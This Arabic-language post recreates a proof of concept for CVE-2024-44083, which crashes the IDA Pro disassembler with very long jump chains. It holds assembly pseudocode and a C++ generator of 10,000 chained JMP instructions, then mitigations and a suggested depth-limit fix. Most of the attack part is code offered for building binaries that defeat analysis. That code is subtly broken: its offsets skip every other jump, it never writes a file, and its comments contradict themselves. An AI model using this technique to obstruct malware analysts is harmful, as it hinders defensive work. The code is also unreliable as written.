
poc الخاص بي لـ CVE-2024-44083.
تم حذف مستودعات PoC الأصلية (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme) لذا ها هو. أعدت إنشاءه لمن يريد فهم كيفية عمله أو اختبار إعداده.
يتعطل IDA Pro ≤ 8.4 عند تحليل ملفات ثنائية تحتوي على سلاسل قفزات مفرطة.
ida64.dll لا يحدّ من العمق الذي يصل إليه عند تتبّع سلاسل القفزات. لذلك إذا كان لديك ملف ثنائي يحتوي على آلاف القفزات المترابطة التي تنتهي عند نقطة الدخول، فإن IDA ببساطة يقتل نفسه.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2024-44083 |
| المتأثر | IDA Pro ≤ 8.4 |
| المكوّن | ida64.dll |
| CWE | CWE-770 (استنزاف الموارد) |
| التأثير | تعطل (DoS) |
الفكرة بسيطة: اجعل قسمًا مليئًا بالقفزات التي تقفز إلى مزيد من القفزات.
; pseudocode obviously
section .text
; thousands of these
jump_0:
jmp jump_1
jump_1:
jmp jump_2
jump_2:
jmp jump_3
; ... keep going ...
jump_9999:
jmp payload
payload:
call _start ; this creates the cross-reference that breaks things
_start:
; IDA tries to resolve all the jumps pointing here
; boom crash
ret
يحاول IDA متابعة وتتبّع كل هذه القفزات لبناء مراجع متقاطعة، ومع وجود عدد كافٍ منها يستسلم وينهار.
إذا أردت صنع شيء مثل هذا بلغة ++C فستفعل شيئًا كالتالي:
#include <windows.h>
#include <cstring>
// the idea is to generate a ton of jump instructions
// that chain together and eventually hit the entry point
void generate_jump_chain() {
// allocate executable memory for our jump chain
unsigned char* code = (unsigned char*)VirtualAlloc(
NULL,
10000 * 5 + 10, // 10,000 jumps × 5 bytes + some extra
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!code) return;
int offset = 0;
// create 10,000 chained jumps
for (int i = 0; i < 10000; i++) {
// write JMP rel32 instruction (E9 xx xx xx xx)
code[offset] = 0xE9; // JMP opcode
// calculate relative offset to next jump (5 bytes ahead)
int32_t rel = 5;
// copy the 4-byte relative offset
memcpy(&code[offset + 1], &rel, 4);
offset += 5;
}
// last jump creates circular reference
// jump back 5 bytes to create infinite loop
code[offset] = 0xE9;
int32_t rel = -5;
memcpy(&code[offset + 1], &rel, 4);
// you can also return a value to make it believeable
offset += 5;
code[offset] = 0xC3; // ret
// this is the pattern that crashes IDA:
// 10,000 jumps → self-referential jump → IDA gets stuck
// no depth limit in recursion → stack overflow → crash
// cleanup
VirtualFree(code, 0, MEM_RELEASE);
}
باختصار، أنت فقط تكتب مجموعة من تعليمات JMP مرتبطة ببعضها. عندما يحاول IDA أن يتحلّى بالذكاء في تحليلها، ينفد المكدس/الذاكرة لديه.
إذا كنت عالقًا على إصدار أقدم من IDA:
عطّل التحليل التلقائي قبل فتح ملفات مشبوهة
قلّل التحليل على الأقسام المشبوهة
ما الذي ينبغي على Hex-Rays فعله:
// pseudocode
#define MAX_JUMP_DEPTH 1000
void analyze_jumps(address_t addr, int depth) {
if (depth > MAX_JUMP_DEPTH) {
warn("jump chain too deep. fail.");
return; // dont crash just stop
}
address_t target = get_jump_target(addr);
if (target) {
analyze_jumps(target, depth + 1);
}
}
بكل بساطة، فقط أضِف حدًّا للعمق، وهذا كل شيء.
لأغراض تعليمية فقط، لا تكن وغدًا.